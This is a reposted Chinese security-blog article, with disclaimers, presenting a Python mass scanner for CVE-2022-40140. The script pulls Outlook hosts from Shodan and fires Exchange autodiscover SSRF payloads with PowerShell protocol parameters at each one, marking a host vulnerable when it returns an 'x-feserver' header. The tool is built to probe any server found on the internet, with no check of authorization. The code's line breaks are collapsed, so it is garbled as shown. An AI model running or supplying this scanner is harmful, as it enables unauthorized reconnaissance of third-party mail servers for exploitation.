CVE-2022-40140漏洞扫描器

admin 2022年11月15日10:32:52安全工具评论25 views2463字阅读8分12秒阅读模式

===================================

免责声明

 

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。

源码学习分享

''' /$$                     /$$|__/                    | $$ /$$  /$$$$$$   /$$$$$$$| $$$$$$$   /$$$$$$  /$$   /$$ /$$$$$$$   /$$$$$$| $$ /$$__  $$ /$$_____/| $$__  $$ /$$__  $$| $$  | $$| $$__  $$ /$$__  $$| $$| $$   $$|  $$$$$$ | $$   $$| $$  __/| $$  | $$| $$   $$| $$   $$| $$| $$  | $$ ____  $$| $$  | $$| $$      | $$  | $$| $$  | $$| $$  | $$| $$| $$$$$$$/ /$$$$$$$/| $$$$$$$/| $$      |  $$$$$$/| $$  | $$|  $$$$$$/|__/| $$____/ |_______/ |_______/ |__/       ______/ |__/  |__/ ______/    | $$    | $$    |__/CVE-2022-40140 MASS SCANNER'''

import grequestsimport requestsfrom shodan import Shodanimport uuidimport loggingimport urllib3import urllibimport timeimport argparsefrom urllib.parse import urlsplit, urlunsplit



api = Shodan('YOUR SHODAN API KEY')
payloads = [  "/autodiscover/[email protected]foo.var/owa/?&Email=autodiscover/[email protected]foo.var&Protocol=XYZ&FooProtocol=Powershell",  "/autodiscover/autodiscover.json?a..foo.var/owa/?&Email=autodiscover/autodiscover.json?a..foo.var&Protocol=XYZ&FooProtocol=Powershell",    "/autodiscover/autodiscover.json?a..foo.var/owa/?&Email=autodiscover/autodiscover.json?a..foo.var&Protocol=XYZ&FooProtocol=%50owershell"]
dork ="http.title:"Outlook""

repeated= []

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def do_something(r):    if r != None and r and 'x-feserver' in r.headers:        print(r.url,' VULNERABLE', r.status_code)

def base_url(url, with_path=False):    parsed = urllib.parse.urlparse(url)    path   = '/'.join(parsed.path.split('/')[:-1]) if with_path else ''    parsed = parsed._replace(path=path)    parsed = parsed._replace(params='')    parsed = parsed._replace(query='')    parsed = parsed._replace(fragment='')    return parsed.geturl()
def main():
    start = 0    end = 100    user_agent = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0'}    while start < end:        results = api.search(dork,page=start)        urls = []        print('Pagina ', start)        for banner in results["matches"]:            if 'hostnames' in banner:                for hostname in banner["hostnames"]:                    if hostname in repeated:                        continue                    hostname = (base_url('http://'+hostname)).split("http://")[1]                    repeated.append(hostname)                    urls.append('http://'+hostname)                    urls.append('https://'+hostname)                    urls.append('http://'+hostname+':'+str(banner["port"]))                    urls.append('https://'+hostname+':'+str(banner["port"]))
        for payload in payloads:            results = grequests.map((grequests.get(u+payload, headers=user_agent, allow_redirects=False, timeout=10, verify = 'https' in u) for u in urls))            for result in results:                do_something(result)        
        start += 1
if __name__ == '__main__':    main()

该内容转载自网络,仅供学习交流,勿作他用,如有侵权请联系删除。

 

原文始发于微信公众号(Web安全工具库):CVE-2022-40140漏洞扫描器

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月15日10:32:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  CVE-2022-40140漏洞扫描器 http://cn-sec.com/archives/1410146.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: